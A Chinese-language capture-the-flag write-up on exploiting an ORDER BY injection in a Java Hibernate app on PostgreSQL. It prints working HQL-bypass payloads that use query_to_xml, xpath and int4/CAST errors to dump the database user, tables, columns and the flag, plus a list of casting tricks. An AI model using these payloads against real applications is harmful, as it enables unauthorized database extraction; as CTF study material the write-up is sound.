最終解開這道題目時,發現其實並不困難,但因作者我還是個菜雞,且對這道題目的服務所使用的工具完全沒接觸過,過程中繞了許多圈子、走了許多歪路,不過也累積了不少有用的經驗,於是就來為這道題目寫篇 Write-up,同時也詳細記錄下我所走的各種歪路 (´; ω ;`)
原始的題目說明很單純:
Criminals
Hey, Rebellious member, let's hack this Bloodsuckers web app. I think they keep some secret.
點開網頁應用程式的連結,也是一個很單純的搜尋頁面:
簡單嘗試一下 /robots.txt、/.git/、/.svn/ 等路徑,發現都是 404 的結果,再配合題目敘述,推測可能是要打 SQL Injection。
嘗試 Fuzzing 所有的欄位,直接全部輸入一些奇怪符號「aaa'"'#,」,順利噴出一連串錯誤訊息,並且發現 Order 欄位是 Injectable 的。
測試了一下並根據錯誤訊息,發現後台使用的 DBMS 為 PostgreSQL,並且使用 Hibernate 的 ORM 框架。而查詢的 Query 格式如下,其中 {{ INJECTABLE }} 即為注入點:
SELECT c from solutions.bloodsuckers.models.Criminal c WHERE (c.name like :pName or :pNameLength = 0) and (c.age = :pAge or :pAge = 0) and (c.crime like :pCrime or :pCrimeLength = 0) order by {{ INJECTABLE }}
接著就是我開始進入各種鬼打牆的時候 ( T д T )
根據 PostgreSQL 的官方文件,UNION 和 MySQL 一樣必須在 ORDER BY 之前,因此無法直接 dump 資料:
於是我很單純 (根本是單蠢T__T) 的認為,該將重點放在搭配 SELECT 子查詢觸發 Error-Based Injection,而文件表示可以在 ORDER BY 上使用 expression,所以就先嘗試直接塞 SELECT,但似乎是 Hibernate 不讓我過 (?
繼續爬了一些官方文件,發現可以在 ORDER BY 上使用 CASE WHEN 敘述句,再搭配一些測試,好像順利通過 Hibernate ,成功讓 PostgreSQL 執行,此時的 Payload 為:
case when ( select current_user from solutions.bloodsuckers.models.Criminal )=1 then 2 else 1 end desc
緊接著利用 CAST( ... AS type ) 的子句觸發轉型錯誤的 Error,讓資料噴出來,順利獲得 DB 的使用者
偷懶直接使用網上的 Cheat Sheet 中的 Payload,想將 table dump 出來
CASE WHEN ( SELECT CAST(c.relname AS int) FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid) )=1 THEN 2 ELSE 1 END DESC
結果卻噴出這個錯誤訊息 Σ(T□T)
原來是因為 Query 中的 table 不是真實的 table,Hibernate 會將其再映射到資料庫中真實的 table,此 Query 似乎也不是普通的 SQL,是一種包裝過的 HQL。
於是我就踏上尋找如何繞過 Hibernate 限制的方法的旅途,但一直沒有搜尋到最重要的關鍵字,導致遲遲沒有結果。想嘗試將 Query 包成字串再讓其動態執行,但所爬到的資料都是利用建立自定義 function,再以 EXECUTE ... USING ... 敘述句來將字串作為 Query 執行,但在這題完全派不上用場 QQ。
比賽期間因為恰好有事沒有辦法解題,所以當在解這道題目時比賽也早已結束,而搜尋了數十篇文章資料都沒有結果,在無計可施的情況下,只好豁出去求助某位大神能否指引方向,那位大神看到後果然秒回我一個可以參考的簡報資料:
New methods for exploiting ORM injections in Java applications by Mikhail Egorov and Sergey Soldatov
其中最關鍵的是 query_to_xml 這個函式,正是可以將某字串作為 Query 執行並將結果轉成 xml 回傳的神器!
於是就重新構造了這麼一段 Payload:
CAST( array_to_string( xpath('row[1]', query_to_xml('select current_user',true,false,'') ) ,'') AS int)
正當以為能順利運行時
又是 Hibernate 呀 (╯▔□▔)╯ ~╩╩
試著修改一下,加上「 chr(95) || 」看能不能通過
CAST( (chr(95) || array_to_string( xpath('row[1]', query_to_xml('select current_user',true,false,'') ) ,'')) AS int)
WHYYYYYY,雖然過了 Hibernate ,但 query_to_xml 的所有參數被強制作字串 concatenate。
只好繼續在網路上和文件中尋覓有用的敘述句,直到在 StackOverflow 上某篇討論 PostgreSQL 開發相關問題的文章中發現到,除了 CAST 以外,也能嘗試使用 int4 來將字串轉換成數字,於是就修改 Payload 為:
int4( array_to_string( xpath('row[1]', query_to_xml('select current_user',true,false,'') ) ,'') )
此時已經心力交瘁,邊祈禱著能夠順利邊按下送出
此時我的心情大概就像這個樣子:
搭配 Cheat Sheet 的 Payload,將 table 與 column 都抓出來:
int4( array_to_string( xpath('row[1]', query_to_xml( 'SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (''r'','''') AND n.nspname NOT IN (''pg_catalog'', ''pg_toast'') AND pg_catalog.pg_table_is_visible(c.oid)', true, false, '' ) ) ,'') )
int4( array_to_string( xpath('row[1]', query_to_xml( 'SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=''r'') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ''public'')', true, false, '' ) ) ,'') )
最後執行最終的 Payload 就能取得 flag:
int4( array_to_string( xpath('row[1]', query_to_xml( 'SELECT secret FROM flag', true, false, '' ) ) ,'') )
總結一下,除了那簡報資料提及的 ORM Injection 技巧外,當遇到 PostgreSQL 的 Error-Based Injection 時,也能嘗試以下幾種方式將字串強制轉型成數字來達到利用 Error 獲取資料:
- CAST( ... AS int )
- CAST( ( chr(95) || ... ) AS int)
- int4( ... )
- int8( ... )
- float4( ... )
- float8( ... )
這段解題的路上真的非常坎坷,對 CTF 無經驗、對 Hibernate 毫無觀念、對 PostgreSQL 完全沒有接觸,感覺就像是裸身拿著一根樹枝參加世界大戰,在路上撿到一把左輪手槍,一路拚命爬到旗子前,結果發現大戰早已結束 N 個世紀。
但是過程中真的累積到不少寶貴、難得的經驗,很適合給像我這樣的新手作練習。似乎 Hibernate 也是很常見 Java 應用程式使用的框架,值得在有空時好好研究一下 Hibernate 的架構以及 HQL 和 SQL 的差異性。